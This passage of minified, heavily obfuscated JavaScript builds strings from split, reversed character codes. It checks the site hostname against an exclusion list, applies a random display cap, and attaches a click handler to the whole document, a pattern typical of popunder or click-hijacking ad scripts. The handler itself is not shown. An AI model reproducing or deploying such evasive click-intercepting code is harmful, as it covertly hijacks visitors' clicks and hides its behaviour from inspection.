5499 var escapedEmail = "F1";
5500 /** @type {string} */
5501 var Y = "5F9";
5502 /** @type {string} */
5503 var type = "01F9";
5504 /** @type {string} */
5505 var managementcommandsdns = "99F1";
5506 /** @type {string} */
5507 var potential_users = "116";
5508 /** @type {string} */
5509 var Z = "5";
5510 /** @type {string} */
5511 var siteName = "02F";
5512 /** @type {string} */
5513 var srcdidl = "20F1";
5514 /** @type {string} */
5515 var data_duplex_ = "spli";
5516 /** @type {string} */
5517 var name = "t";
5518 /** @type {string} */
5519 var Transform = "erse";
5520 /** @type {string} */
5521 var stylePrefix = "rev";
5522 /** @type {string} */
5523 s = step_ + i;
5524 /** @type {string} */
5525 el = "F";
5526 /** @type {string} */
5527 t = "";
5528 n = (managementcommandsdns + siteName + potential_users + escapedEmail + srcdidl + type + Y + Z)[data_duplex_ + name](el)[stylePrefix + Transform]();
5529 /** @type {number} */
5530 var themeprop = 0;
5531 for (; themeprop < n[s]; themeprop++) {
5532 /** @type {string} */
5533 t = t + _NK$jscomp$0(n[themeprop]);
5534 }
5535 return t;
5536 };
5537 var _newValue = factory();
5538 return _newValue;
5539 };
5540 /**
5541 * @return {?}
5542 */
5543 var _Qe48$jscomp$0 = function() {
5544 /**
5545 * @param {string} type
5546 * @param {string} options
5547 * @param {string} output
5548 * @param {string} mode
5549 * @return {?}
5550 */
5551 var tick = function(type, options, output, mode) {
5552 /** @type {string} */
5553 var prKey = "ngth";
5554 /** @type {string} */
5555 var result11 = "le";
5556 /** @type {string} */
5557 var M = "5";
5558 /** @type {string} */
5559 var p21b = "95L9";
5560 /** @type {string} */
5561 var top = "L1";
5562 /** @type {string} */
5563 var h = "9L";
5564 /** @type {string} */
5565 var L = "08L";
5566 /** @type {string} */
5567 var y = "99L9";
5568 /** @type {string} */
5569 var m = "102";
5570 /** @type {string} */
5571 var $mime_type = "spli";
5572 /** @type {string} */
5573 var taskName = "t";
5574 /** @type {string} */
5575 var distStyle = "rse";
5576 /** @type {string} */
5577 var overviewId = "reve";
5578 /** @type {string} */
5579 mode = [result11, prKey].join("");
5580 /** @type {string} */
5581 type = "L";
5582 /** @type {string} */
5583 output = "";
5584 options = (y + h + m + top + L + p21b + M)[[$mime_type, taskName].join("")](type)[[overviewId, distStyle].join("")]();
5585 /** @type {number} */
5586 var i = 0;
5587 for (; i < options[mode]; i++) {
5588 /** @type {string} */
5589 output = output + _NK$jscomp$0(options[i]);
5590 }
5591 return output;
5592 };
5593 var time = tick();
5594 return time;
5595 };
5596 /**
5597 * @param {string} subject
5598 * @param {string} values
5599 * @param {string} msg
5600 * @param {string} k
5601 * @return {?}
5602 */
5603 var _nj4$jscomp$0 = function(subject, values, msg, k) {
5604 /** @type {string} */
5605 var j = "len";
5606 /** @type {string} */
5607 var modSeparator = "gth";
5608 /** @type {string} */
5609 var pinVal = "102";
5610 /** @type {string} */
5611 var version = "v1";
5612 /** @type {string} */
5613 var inImageSize = "01v";
5614 /** @type {string} */
5615 var height = "v9";
5616 /** @type {string} */
5617 var cfgH = "0v";
5618 /** @type {string} */
5619 var overviewId = "95v";
5620 /** @type {string} */
5621 var cfgW = "v9";
5622 /** @type {string} */
5623 var prKey = "95";
5624 /** @type {string} */
5625 var stderrIndicator = "5v";
5626 /** @type {string} */
5627 var topicUri6 = "12";
5628 /** @type {string} */
5629 var depth_diff = "116";
5630 /** @type {string} */
5631 var code = "9";
5632 /** @type {string} */
5633 var taskName = "t";
5634 /** @type {string} */
5635 var $mime_type = "spli";
5636 /** @type {string} */
5637 k = j + modSeparator;
5638 /** @type {string} */
5639 subject = "v";
5640 /** @type {string} */
5641 msg = "";
5642 values = [overviewId, prKey, version, inImageSize, topicUri6, cfgH, depth_diff, cfgW, stderrIndicator, pinVal, height, code].join("")[[$mime_type, taskName].join("")](subject);
5643 /** @type {number} */
5644 var value = 0;
5645 for (; value < values[k]; value++) {
5646 /** @type {string} */
5647 msg = msg + _NK$jscomp$0(values[value]);
5648 }
5649 return msg;
5650 };
5651 /**
5652 * @return {?}
5653 */
5654 var _Qe49$jscomp$0 = function() {
5655 /**
5656 * @param {string} defaults
5657 * @param {string} opts
5658 * @param {string} options
5659 * @param {string} val
5660 * @return {?}
5661 */
5662 var initOptions = function(defaults, opts, options, val) {
5663 /** @type {string} */
5664 var w = "h";
5665 /** @type {string} */
5666 var result20 = "gt";
5667 /** @type {string} */
5668 var i = "len";
5669 /** @type {string} */
5670 var pinVal = "11w";
5671 /** @type {string} */
5672 var inImageSize = "w4";
5673 /** @type {string} */
5674 var cfgW = "2w";
5675 /** @type {string} */
5676 var topicUri6 = "5w97";
5677 /** @type {string} */
5678 var prKey = "120";
5679 /** @type {string} */
5680 var cfgH = "w102";
5681 /** @type {string} */
5682 var depth_diff = "w10";
5683 /** @type {string} */
5684 var stderrIndicator = "45w1";
5685 /** @type {string} */
5686 var height = "102w";
5687 /** @type {string} */
5688 var width = "2";
5689 /** @type {string} */
5690 var code = "10";
5691 /** @type {string} */
5692 var CredentialScope = "w116";
5693 /** @type {string} */
5694 var $mime_type = "101w";
5695 /** @type {string} */
5696 var coll = "it";
5697 /** @type {string} */
5698 var index = "spl";
5699 /** @type {string} */
5700 val = [i, result20, w].join("");
5701 /** @type {string} */
5702 defaults = "w";
5703 /** @type {string} */
5704 options = "";
5705 opts = [$mime_type, prKey, CredentialScope, inImageSize, topicUri6, cfgH, depth_diff, cfgW, stderrIndicator, pinVal, height, code, width].join("")[index + coll](defaults);
5706 /** @type {number} */
5707 var j = 0;
5708 for (; j < opts[val]; j++) {
5709 /** @type {string} */
5710 options = options + _NK$jscomp$0(opts[j]);
5711 }
5712 return options;
5713 };
5714 var multiLineOptions = initOptions();
5715 return multiLineOptions;
5716 };
5717 /**
5718 * @param {string} key
5719 * @param {string} values
5720 * @param {string} direction
5721 * @param {string} name
5722 * @return {?}
5723 */
5724 var _nj5$jscomp$0 = function(key, values, direction, name) {
5725 /** @type {string} */
5726 var i = "h";
5727 /** @type {string} */
5728 var bbbbbbaaaaaaaabbbb = "gt";
5729 /** @type {string} */
5730 var j = "len";
5731 /** @type {string} */
5732 var lines = "O100";
5733 /** @type {string} */
5734 var divEnd = "O1";
5735 /** @type {string} */
5736 var e = "1O10";
5737 /** @type {string} */
5738 var d = "O10";
5739 /** @type {string} */
5740 var starred = "7O1";
5741 /** @type {string} */
5742 var favourites = "11";
5743 /** @type {string} */
5744 var sitesowners = "O1";
5745 /** @type {string} */
5746 var k = "0";
5747 /** @type {string} */
5748 var id = "O110";
5749 /** @type {string} */
5750 var tmp = "10";
5751 /** @type {string} */
5752 var potential_users = "O1";
5753 /** @type {string} */
5754 var Level = "01";
5755 /** @type {string} */
5756 var siteName = "02";
5757 /** @type {string} */
5758 var bookdetail = "05";
5759 /** @type {string} */
5760 var middlePathName = "it";
5761 /** @type {string} */
5762 var baseNewPath = "spl";
5763 /** @type {string} */
5764 name = j + bbbbbbaaaaaaaabbbb + i;
5765 /** @type {string} */
5766 key = "O";
5767 /** @type {string} */
5768 direction = "";
5769 values = (favourites + starred + tmp + lines + divEnd + Level + sitesowners + siteName + potential_users + bookdetail + id + d + e + k)[baseNewPath + middlePathName](key);
5770 /** @type {number} */
5771 var value = 0;
5772 for (; value < values[name]; value++) {
5773 /** @type {string} */
5774 direction = direction + _NK$jscomp$0(values[value]);
5775 }
5776 return direction;
5777 };
5778 /**
5779 * @param {number} coords
5780 * @param {number} size
5781 * @param {string} data
5782 * @param {string} state
5783 * @param {string} name
5784 * @return {?}
5785 */
5786 var _yX20$jscomp$0 = function(coords, size, data, state, name) {
5787 /** @type {string} */
5788 var w = "h";
5789 /** @type {string} */
5790 var i = "len";
5791 /** @type {string} */
5792 var result20 = "gt";
5793 /** @type {string} */
5794 var overviewId = "594";
5795 /** @type {string} */
5796 var ctrl = "69";
5797 /** @type {string} */
5798 var siteName = "56";
5799 /** @type {string} */
5800 var args = "9669";
5801 /** @type {string} */
5802 var v = "6996";
5803 /** @type {string} */
5804 var C = "5704";
5805 /** @type {string} */
5806 var cK = "694";
5807 /** @type {string} */
5808 var escapedEmail = "04";
5809 /** @type {string} */
5810 var potential_users = "947";
5811 /** @type {string} */
5812 var sitesowners = "711";
5813 /** @type {string} */
5814 var tag = "li";
5815 /** @type {string} */
5816 var str = "sp";
5817 /** @type {string} */
5818 var type = "t";
5819 /** @type {string} */
5820 var $mime_type = "rev";
5821 /** @type {string} */
5822 var prKey = "erse";
5823 /** @type {string} */
5824 name = [i, result20, w].join("");
5825 /** @type {string} */
5826 coords = [overviewId].join("");
5827 /** @type {number} */
5828 size = 3;
5829 /** @type {string} */
5830 state = "";
5831 /** @type {string} */
5832 data = cK + ctrl + C + v + args + siteName + potential_users + escapedEmail + sitesowners;
5833 /** @type {number} */
5834 var index = 0;
5835 for (; index < data[name]; index = index + size) {
5836 /** @type {string} */
5837 var i = "sub";
5838 /** @type {string} */
5839 var src = "str";
5840 state = state + String[_Ds$jscomp$0](parseInt(data[[i, src].join("")](index, size), 10) - coords);
5841 }
5842 return state[[str, tag, type].join("")]("")[[$mime_type, prKey].join("")]()[918239[_EK$jscomp$0](36)]("");
5843 };
5844 /** @type {string} */
5845 var wt$jscomp$0 = "C";
5846 /** @type {number} */
5847 var pA$jscomp$0 = 36;
5848 /** @type {number} */
5849 var fo$jscomp$0 = 1068;
5850 /** @type {number} */
5851 var vy$jscomp$0 = 22419;
5852 /** @type {string} */
5853 var _EK$jscomp$0 = fo$jscomp$0.toString(pA$jscomp$0) + "S" + (1365200 + fo$jscomp$0 + vy$jscomp$0).toString(pA$jscomp$0) + "g";
5854 var _Ds$jscomp$0 = (18310 + vy$jscomp$0 * (pA$jscomp$0 - 4))[_EK$jscomp$0](pA$jscomp$0);
5855 _Ds$jscomp$0 = _Ds$jscomp$0 + (wt$jscomp$0 + vy$jscomp$0[_EK$jscomp$0](pA$jscomp$0));
5856 _Ds$jscomp$0 = _Ds$jscomp$0 + (wt$jscomp$0 + (-14320 + vy$jscomp$0 * 2 + fo$jscomp$0)[_EK$jscomp$0](pA$jscomp$0));
5857 /**
5858 * @param {?} id_local
5859 * @return {?}
5860 */
5861 var _NK$jscomp$0 = function(id_local) {
5862 return String[_Ds$jscomp$0](parseInt(id_local, 10));
5863 };
5864 var Z$jscomp$9 = _Qe43$jscomp$0();
5865 var Zy$jscomp$0 = (location.protocol == _Qe44$jscomp$0() ? _Qe45$jscomp$0() : _yX$jscomp$0()) + _nj$jscomp$0();
5866 /** @type {number} */
5867 var hf$jscomp$0 = parseInt(_nj2$jscomp$0());
5868 /** @type {*} */
5869 var PQ$jscomp$0 = JSON.parse(_nj3$jscomp$0());
5870 var ZK$jscomp$0 = JSON.parse(_Qe46$jscomp$0()).concat(PQ$jscomp$0);
5871 /** @type {boolean} */
5872 var jh$jscomp$0 = true;
5873 /** @type {boolean} */
5874 var dB$jscomp$0 = !!bs$jscomp$0.attachEvent;
5875 /** @type {null} */
5876 var Dp$jscomp$0 = null;
5877 var Xq$jscomp$0 = Ab$jscomp$0(bs$jscomp$0.location.hostname);
5878 /** @type {string} */
5879 var UY$jscomp$0 = kb$jscomp$0.location.href.replace(/#.+/, "");
5880 var dh$jscomp$0 = _Qe47$jscomp$0();
5881 var rs$jscomp$0 = _Qe48$jscomp$0();
5882 var Lm$jscomp$0 = _nj4$jscomp$0();
5883 var Bo$jscomp$0 = _Qe49$jscomp$0();
5884 /** @type {number} */
5885 var uf$jscomp$0 = 0;
5886 if (typeof PQ$jscomp$0 !== _nj5$jscomp$0() && PQ$jscomp$0 != "" && PQ$jscomp$0.length) {
5887 /** @type {number} */
5888 var mG$jscomp$0 = 0;
5889 for (; mG$jscomp$0 < PQ$jscomp$0.length; mG$jscomp$0++) {
5890 if (PQ$jscomp$0[mG$jscomp$0] == "") {
5891 continue;
5892 }
5893 /** @type {!RegExp} */
5894 var NE$jscomp$0 = new RegExp(is$jscomp$0(L$jscomp$0(PQ$jscomp$0[mG$jscomp$0])));
5895 if (Xq$jscomp$0.match(NE$jscomp$0)) {
5896 return;
5897 }
5898 }
5899 }
5900 if (typeof hf$jscomp$0 !== _yX20$jscomp$0() && hf$jscomp$0 < 100) {
5901 if (Hs$jscomp$0(1, 99) >= hf$jscomp$0) {
5902 return;
5903 }
5904 }
5905 if (bs$jscomp$0.attachEvent) {
5906 /**
5907 * @param {string} err
5908 * @param {string} values
5909 * @param {string} joiner
5910 * @param {string} where
5911 * @return {?}
5912 */
5913 var _nj45$jscomp$0 = function(err, values, joiner, where) {
5914 /** @type {string} */
5915 var i = "len";
5916 /** @type {string} */
5917 var prKey = "gth";
5918 /** @type {string} */
5919 var _shown = "8e9";
5920 /** @type {string} */
5921 var a = "99";
5922 /** @type {string} */
5923 var flipswitch_ = "107e";
5924 /** @type {string} */
5925 var index = "1";
5926 /** @type {string} */
5927 var file = "e10";
5928 /** @type {string} */
5929 var _DOT_ = "9e11";
5930 /** @type {string} */
5931 var key = "0e11";
5932 /** @type {string} */
5933 var type = "5e10";
5934 /** @type {string} */
5935 var data_duplex_ = "spli";
5936 /** @type {string} */
5937 var name = "t";
5938 /** @type {string} */
5939 var ACTION_SOUTH_EAST = "se";
5940 /** @type {string} */
5941 var files = "er";
5942 /** @type {string} */
5943 var fotosdirectory = "rev";
5944 /** @type {string} */
5945 where = [i, prKey].join("");
5946 /** @type {string} */
5947 err = "e";
5948 /** @type {string} */
5949 joiner = "";
5950 values = (flipswitch_ + a + file + type + _shown + _DOT_ + key + index)[data_duplex_ + name](err)[fotosdirectory + files + ACTION_SOUTH_EAST]();
5951 /** @type {number} */
5952 var value = 0;
5953 for (; value < values[where]; value++) {
5954 /** @type {string} */
5955 joiner = joiner + _NK$jscomp$0(values[value]);
5956 }
5957 return joiner;
5958 };
5959 bs$jscomp$0.attachEvent(_nj45$jscomp$0(), TO$jscomp$0);
5960 } else {
5961 if (bs$jscomp$0.addEventListener) {
5962 /**
5963 * @param {string} data
5964 * @param {string} range
5965 * @param {string} count
5966 * @param {string} index
5967 * @return {?}
5968 */
5969 var _nj46$jscomp$0 = function(data, range, count, index) {
5970 /** @type {string} */
5971 var $mime_type = "leng";
5972 /** @type {string} */
5973 var b = "th";
5974 /** @type {string} */
5975 var siteName = "9b10";
5976 /** @type {string} */
5977 var pad = "b108";
5978 /** @type {string} */
5979 var mbottom = "99";
5980 /** @type {string} */
5981 var messages = "7";
5982 /** @type {string} */
5983 var sitesowners = "05b9";
5984 /** @type {string} */
5985 var px = "b1";
5986 /** @type {string} */
5987 var overviewId = "spl";
5988 /** @type {string} */
5989 var itSkip = "it";
5990 /** @type {string} */
5991 index = [$mime_type, b].join("");
5992 /** @type {string} */
5993 data = "b";
5994 /** @type {string} */
5995 count = "";
5996 range = (mbottom + pad + px + sitesowners + siteName + messages)[[overviewId, itSkip].join("")](data);
5997 /** @type {number} */
5998 var val = 0;
5999 for (; val < range[index]; val++) {
6000 /** @type {string} */
6001 count = count + _NK$jscomp$0(range[val]);
6002 }
6003 return count;
6004 };
6005 bs$jscomp$0.addEventListener(_nj46$jscomp$0(), TO$jscomp$0, false);
6006 }
6007 }
6008})(window, document);